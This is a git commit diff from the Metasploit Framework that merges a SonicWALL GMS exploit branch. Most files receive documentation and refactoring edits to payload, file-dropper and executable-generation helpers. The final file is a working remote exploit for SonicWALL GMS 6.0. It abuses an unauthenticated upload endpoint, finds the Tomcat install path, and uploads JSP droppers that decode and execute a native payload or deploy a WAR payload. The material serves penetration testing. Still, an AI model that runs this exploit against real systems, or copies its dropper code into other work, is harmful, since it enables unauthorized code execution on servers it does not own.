Merge branch 'sonicwall_gms' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-sonicwall_gms

bug/bundler_fix
jvazquez-r7 2013-02-08 19:18:57 +01:00
commit 98457c0a4d
6 changed files with 189 additions and 160 deletions

View File

@ -22,7 +22,9 @@ module Exploit::FileDropper
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
if session.platform =~ /win/
session.shell_command_token(%Q|attrib.exe -r #{win_file}|)
end
session.fs.file.rm(file)
print_good("Deleted #{file}")
true

View File

@ -35,15 +35,14 @@ module Msf::Payload::Java
end
#
# Used by stagers to create a jar file as a Rex::Zip::Jar. Stagers define
# a list of class files in @class_files which are pulled from
# Msf::Config.data_directory. The configuration file is created by the
# payload's #config method.
#
# +opts+ can include:
# +:main_class+:: the name of the Main-Class attribute in the manifest.
# Defaults to "metasploit.Payload"
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
# define a list of class files in @class_files which are pulled from
# {Msf::Config.data_directory}. The configuration file is created by
# the payload's #config method.
#
# @option opts :main_class [String] the name of the Main-Class
# attribute in the manifest. Defaults to "metasploit.Payload"
# @return [Rex::Zip::Jar]
def generate_jar(opts={})
raise if not respond_to? :config
# Allow changing the jar's Main Class in the manifest so wrappers
@ -63,12 +62,12 @@ module Msf::Payload::Java
end
#
# Like #generate_jar, this method is used by stagers to create a war file
# Like {#generate_jar}, this method is used by stagers to create a war file
# as a Rex::Zip::Jar object.
#
# +opts+ can include:
# +:app_name+:: the name of the \<servlet-name> attribute in the web.xml.
# Defaults to "NAME"
# @param opts [Hash]
# @option :app_name [String] Name of the \<servlet-name> attribute in the
# web.xml. Defaults to random
#
def generate_war(opts={})
raise if not respond_to? :config

View File

@ -315,7 +315,7 @@ protected
# Meterpreter-specific file read. Returns contents of remote file
# +file_name+ as a String or nil if there was an error
#
# You should never call this method directly. Instead, call #read_file
# You should never call this method directly. Instead, call {#read_file}
# which will call this if it is appropriate for the given session.
#
def _read_file_meterpreter(file_name)

View File

@ -1,21 +1,13 @@
# -*- coding: binary -*-
##
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
##
###
#
# framework-util-exe
# --------------
module Msf
module Util
#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
###
module Msf
module Util
class EXE
require 'rex'
@ -609,6 +601,7 @@ require 'digest/sha1'
end
# Create an ELF executable containing the payload provided in +code+
#
# For the default template, this method just appends the payload, checks if
# the template is 32 or 64 bit and adjusts the offsets accordingly
# For user-provided templates, modifies the header to mark all executable
@ -1187,8 +1180,9 @@ End Sub
# Creates a jar file that drops the provided +exe+ into a random file name
# in the system's temp dir and executes it.
#
# See also: +Msf::Core::Payload::Java+
# @see Msf::Payload::Java
#
# @return [Rex::Zip::Jar]
def self.to_jar(exe, opts={})
spawn = opts[:spawn] || 2
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
@ -1205,8 +1199,30 @@ End Sub
zip
end
# Creates a Web Archive (WAR) file from the provided jsp code. Additional options
# can be provided via the "opts" hash.
# Creates a Web Archive (WAR) file from the provided jsp code.
#
# On Tomcat, WAR files will be deployed into a directory with the same name
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
# server is in a default configuration, deoployment will happen
# automatically. See
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
# documentation} for a description of how this works.
#
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
# in the archive. This will be compiled by the victim servlet container
# (e.g., Tomcat) and act as the main function for the servlet.
# @param opts [Hash]
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
# _without the .jsp extension_. Defaults to random.
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
# random.
# @option opts :extra_files [Array<String,String>] Additional files to add
# to the archive. First elment is filename, second is data
#
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
#
# @return [String]
def self.to_war(jsp_raw, opts={})
jsp_name = opts[:jsp_name]
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
@ -1247,9 +1263,15 @@ End Sub
return zip.pack
end
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload.
# The jsp page converts the hexdump back to a normal .exe file and places it in
# the temp directory. The payload .exe file is then executed.
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
# payload. The jsp page converts the hexdump back to a normal binary file
# and places it in the temp directory. The payload file is then executed.
#
# @see to_war
# @param exe [String] Executable to drop and run.
# @param opts (see to_war)
# @option opts (see to_war)
# @return (see to_war)
def self.to_jsp_war(exe, opts={})
# begin <payload>.jsp

View File

@ -28,7 +28,7 @@ class Webcam
names
end
# Starts recording video from video source of index #{cam}
# Starts recording video from video source of index +cam+
def webcam_start(cam)
request = Packet.create_request('webcam_start')
request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
@ -48,7 +48,7 @@ class Webcam
true
end
# Record from default audio source for #{duration} seconds;
# Record from default audio source for +duration+ seconds;
# returns a low-quality wav file
def record_mic(duration)
request = Packet.create_request('webcam_audio_record')

View File

@ -8,7 +8,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
@ -46,13 +46,19 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'SonicWALL GMS 6.0 Viewpoint / Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',
[ 'SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
@ -70,86 +76,12 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_new_session
# on_new_session will force stdapi to load (for Linux meterpreter)
end
def install_path
return @install_path if @install_path
def generate_jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
jspraw << "%>\n"
return jspraw
end
def get_install_path
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
'uri' => normalize_uri(target_uri.path,"appliance","applianceMainPage") + "?skipSessionCheck=1",
'method' => 'POST',
'connection' => 'TE, close',
'headers' =>
@ -166,11 +98,12 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
@install_path = nil
if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
return $1
@install_path = $1
end
return nil
@install_path
end
def upload_file(location, filename, contents)
@ -180,12 +113,13 @@ class Metasploit3 < Msf::Exploit::Remote
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
# Work around an incompatible MIME implementation
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
'uri' => normalize_uri(target_uri.path, "appliance","applianceMainPage") + "?skipSessionCheck=1",
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
@ -195,6 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'connection' => 'TE, close'
})
register_files_for_cleanup(path_join(location, filename))
if res and res.code == 200 and res.body.empty?
return true
@ -203,26 +138,33 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def check
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
def upload_and_run_jsp(filename, contents)
upload_file(path_join(install_path,"webapps","appliance"), filename, contents)
send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "appliance", filename),
'method' => 'GET'
})
end
if get_install_path.nil?
def check
if install_path.nil?
return Exploit::CheckCode::Safe
end
if install_path.include?("\\")
print_status("Target looks like Windows")
else
print_status("Target looks like Linux")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
# Get Tomcat installation path
print_status("#{@peer} - Retrieving Tomcat installation path...")
install_path = get_install_path
if install_path.nil?
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
@ -230,50 +172,114 @@ class Metasploit3 < Msf::Exploit::Remote
print_good("#{@peer} - Tomcat installed on #{install_path}")
if target['Platform'] == "linux"
@location = "#{install_path}webapps/appliance/"
elsif target['Platform'] == "win"
@location = "#{install_path}webapps\\appliance\\"
end
# Upload the JSP and the raw payload
@jsp_name = rand_text_alphanumeric(8+rand(8))
jspraw = generate_jsp
# Specify the payload in hex as an extra file..
payload_hex = payload.encoded_exe.unpack('H*')[0]
print_status("#{@peer} - Uploading the payload")
if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)
print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")
if target['Platform'] == "java"
exploit_java
else
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")
exploit_native
end
end
print_status("#{@peer} - Uploading the payload")
def exploit_java
print_status("#{@peer} - Uploading WAR file")
app_base = rand_text_alphanumeric(4+rand(32-4))
if upload_file(@location, "#{@jsp_name}.jsp", jspraw)
print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")
else
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")
end
war = payload.encoded_war({ :app_name => app_base }).to_s
war_filename = path_join(install_path, "webapps", "#{app_base}.war")
print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
register_files_for_cleanup(war_filename)
dropper = jsp_drop_bin(war, war_filename)
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
upload_and_run_jsp(dropper_filename, dropper)
10.times do
select(nil, nil, nil, 2)
# Now make a request to trigger the newly deployed war
print_status("#{@peer} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi(
{
'uri' => normalize_uri("#{@uri}appliance/#{@jsp_name}.jsp"),
'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
if res and res.code != 200
print_warning("#{@peer} - Error triggering the payload")
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")
register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")
def exploit_native
print_status("#{@peer} - Uploading executable file")
exe = payload.encoded_exe
exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8))
if target['Platform'] == "win"
exe << ".exe"
end
register_files_for_cleanup(exe_filename)
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
upload_and_run_jsp(dropper_filename, dropper)
end
def path_join(*paths)
if install_path.include?("\\")
path = paths.join("\\")
path.gsub!(%r|\\+|, "\\\\\\\\")
else
path = paths.join("/")
path.gsub!(%r|//+|, "/")
end
path
end
# This should probably go in a mixin
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end